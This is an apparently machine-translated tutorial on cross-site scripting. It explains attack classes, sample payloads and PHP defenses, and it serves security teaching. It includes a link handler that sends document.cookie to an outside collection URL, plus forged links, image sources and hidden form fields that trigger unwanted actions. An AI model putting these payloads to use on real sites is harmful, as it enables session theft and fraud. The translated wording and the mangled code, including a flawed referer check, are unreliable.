(1) Concepts
Xss (cross-site scripting) attacks refer to attacks that insert malicious html tags or javascript code into Web pages. When a user browses this page or performs some operations, attackers use users' trust in the original website to trick users or browsers into performing insecure operations or submitting users' private information to other websites.
For example, an attacker places a seemingly secure link in a forum to obtain users' private information from cookies after Obtaining users' clicks. Alternatively, the attacker adds a malicious form to the Forum. When a user submits a form, but the information is transmitted to the attacker's server, rather than the trusted site that the user originally thought.
For example, the only method that can completely prevent xss attacks is to disable scripts and img. Obviously, this is unreliable and users need a wealth of page content; of course, we can use some methods to prevent xss attacks and minimize the harm caused by xss.
The dangers of XSS attacks include:
Theft of various user accounts, such as machine logon accounts, user online banking accounts, and various administrator accounts
Control enterprise data, including the ability to read, tamper with, add, and delete enterprise sensitive data
Theft of important commercial data of an enterprise
Illegal transfer
Force send email
Website Trojans
Control victim machines to initiate attacks to other websites
Example:
<Body background = "javascript: alert ('xss-gotcha! ') ">
<Iframe src = javascript: alert ('xss-gotcha! ')> </Iframe>
> <Body onload = "a ();"> <script> function a () {alert ('xss-gotcha! ') ;}</Script> <"
(2) xss attack classification
Classification Method 1
Xss attacks include attacks from other sites to application sites, and attacks from application sites to the same site or other sites.
Attacks from other sites to application sites: such attacks are initiated by external sources, from email or other sites. This type of attack allows users to click a link, download images, or submit a form, and perform additional operations on the Application website.
After a user logs on, an available session is obtained. xss attackers can use this session to bypass user authentication and perform some insecure operations, as shown below:
<A href = "http://www.bkjia.com/addComment. php? Subject = I % 20am % 20owned "> Check it out! </A>
Through this link, a subject will be sent as long as the user logs on, even on other websites.
Because of this, generally, the mailbox client does not automatically load images from untrusted websites (because the GET request can be sent to a third-party site through the src attribute of img). In addition, you can set the expiration time of a session to automatically invalidate the session.
Attacks from application sites to the same site or other sites: these attacks are usually attacks that allow attackers to embed code on the application site by posting comments or other methods, when a user loads a page or clicks a link, some unexpected operations will occur.
As follows:
<A href = "#" onmouseover = "window. location = 'HTTP: // www.bkjia.com/collectCookie. php? Cookie = + document cookie. escape (); "> Check it out! </A>
When a user slides through the link, the cookie information is sent to the attacker's server.
Method 2
Xss is another classification method (I personally feel better). xss attacks are divided into three types,
Type A: local exploitation vulnerability, which exists in the client script itself on the page.
The attack process is as follows:
Alice sends Bob a malicious Web URL.
Bob clicked and checked the URL.
JavaScript in a malicious page opens a vulnerable HTML page and installs it on Bob.
The vulnerable HTML page contains the JavaScript code executed in Bob's local region.
Alice's malicious script can execute commands under Bob's permissions on Bob's computer.
Type B, reflection-type vulnerability, which is similar to type A. The difference is that when A Web client uses A Server script to generate A page to provide data for users, if unauthenticated user data is included in the page without HTML Entity encoding, the client code can be injected into the dynamic page.
The attack process is as follows:
Alice often browses a website owned by Bob. Bob's website runs Alice and uses the user name/password to log on and store sensitive information (such as bank account information ).
Charly found that Bob's website contains a reflective XSS vulnerability.
Charly writes a URL that exploits the vulnerability and impersonates it as an email from Bob and sends it to Alice.
After Alice logs on to Bob's website, she browses the URL provided by Charly.
Malicious scripts embedded in the URL are executed in Alice's browser, just as they are directly from Bob's server. This script steals sensitive information (authorization, credit card, account information, etc.) and sends the information to the Charly Web site without Alice's knowledge.
Type C: A stored vulnerability. This type is the most widely used vulnerability that may affect the security of Web servers. Hackers upload attack scripts to Web servers, this allows all users accessing this page to face information leakage, including the Web server administrator.
The attack process is as follows:
Bob has a Web site that allows users to publish or browse published information.
Charly noticed that Bob's website has the XXS vulnerability of type C.
Charly released a hotspot to attract other users to read it.
Bob or anyone else, such as Alice, browses this information, and his session cookies or other information will be stolen by Charly.
Type A directly threatens individual users, while type B and type C both threaten enterprise-level Web applications.
List xss attacks
1) html and css Tag attacks: Embed html or css into the page through comments or other methods to destroy the original page display and defraud users or browsers for unsafe behavior.
2) js attacks: js Code is embedded into the page through comments or other operations, resulting in insecure behavior when the page is loaded or the user performs normal operations.
3) forged url: "forged" links on the Application website. When an authenticated user accidentally clicks these links, the following unsafe behavior occurs:
<A href = "http://www.bkjia.com/oneclick. php? Action = buy & item = 236 "> download </a>
The prompt displayed by the user is "Download", but after clicking it, the user purchases the item. Of course, whether the purchase is successful depends on the logic of oneclick. php.
4) Counterfeit img source url: "fake", image or other element src value on the Application website, resulting in unsafe behavior, the difference between this method and the url spoofing method mentioned above is that the browser will automatically execute the page when loading the page without clicking it. In a similar case, the background attribute of the table element can also be forged to form an xss attack. Example:
<Table background = "http://www.bkjia.com/addToCart. php? Item = 236 ">
<Tr> <td> Thanks for visiting! </Td> </tr>
</Table>
5) Additional form information: when a user submits a post form, the attacker adds some additional and invisible information to modify user behavior. As follows, the attacker adds an item with id 236 to the user's shopping cart through the hidden domain, but the user does not know.
<Form action = "http://www.bkjia.com/addToCart. php" method = "post">
<H2> Search <Input type = "text" name = "query" size = "20"/>
<Input type = "hidden" name = "item []" value = "236"/>
<Input type = "submit" value = "Submit"/>
</Form>
6) Other attack types, such as java applet, flash, and browser plug-ins.
(3) xss AttacK Defense
Before introducing specific preventive policies, we need to emphasize that xss attacks, whether from the client or the server, seem to be the same as normal behavior, and the security policies at the network transmission layer have no effect on them.
Storing the client's ssl session id in the php session can defend against some xss attacks. Currently, there is no way to forge the user's private ssl session, but it is helpless for xss attacks from the site, for example, if a user who has already verified his/her identity is tricked into sending a malicious request, this situation cannot be completely defended even if the ssl session is used.
Policy List:
1) transcode all non-html outputs (especially user input content) and convert them into html entities.
2) disinfect the Uris submitted by all users ".
If you need to submit the uri data, you can use the parse_url () function to analyze the uri submitted by the user. This includes multiple aspects,
Analyze sheme, select http:, ftp:, exclude javascript: and other unsupported request types
Analyze the query string and check its validity
To some extent, we have prevented the previous mentioned forgery uri attack, as shown below:
Click <a href = "http://www.bkjia.com/trap. php"> photos.com </a> [reallybadguys.net] to view my latest photo
This attack is a type of xss attack that spoofs uri, to the user described is photos.com, but the actual click is to the http://www.bkjia.com/trap. php analyzes the uri and prompts [reallybadguys.net] After the link to remind users to minimize the probability of being cheated to reduce the occurrence of such attacks.
3) use an authoritative xss filter to filter html input. Considering that the browser supports up to five encoding formats (including plaintext, urlencode, HTML hexadecimal entities, HTML decimal entities, base64 encode), it is troublesome to manually write a filter to process various encoding forms, and it is not necessarily complete. tidy (a php xhtml code library) is recommended ).
4) design private APIs for sensitive businesses. For example, the public domain name is site. for sensitive businesses, use the subdomain private. site. as shown in the following example, check whether the reffer is consistent with the private domain name to defend against this problem.
<? Php
If ($ _ SERVER ['HTTP _ referer']! = $ _ SERVER ['HTTP _ host']) {
Exit ('that form may not be used outside of its parent site .');
}
?>
5) predict user behavior. When a user performs an operation, predict the next behavior of the user. For example, if the user requests a form submission page, the user may submit or cancel the form, if you have performed other unrelated operations at this time, you need to be especially careful. The specific method is to pre-generate the uri for each request that may be operated by the next user and store it in the session. Therefore, when the same user makes the next request, check whether it is in this uri list. If it does not match, you can add some logic for further security verification.
(4) xss Vulnerability Detection
Http://chxo.com/scripts/safe_html-test.php
Http://ha.ckers.org/xss.html (here are examples of various xss attacks, try it)
References:
Apress pro. php security 2th
Http://www.bkjia.com/Article/201201/117831.html
Http://www.bkjia.com/Article/201201/117831.html
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
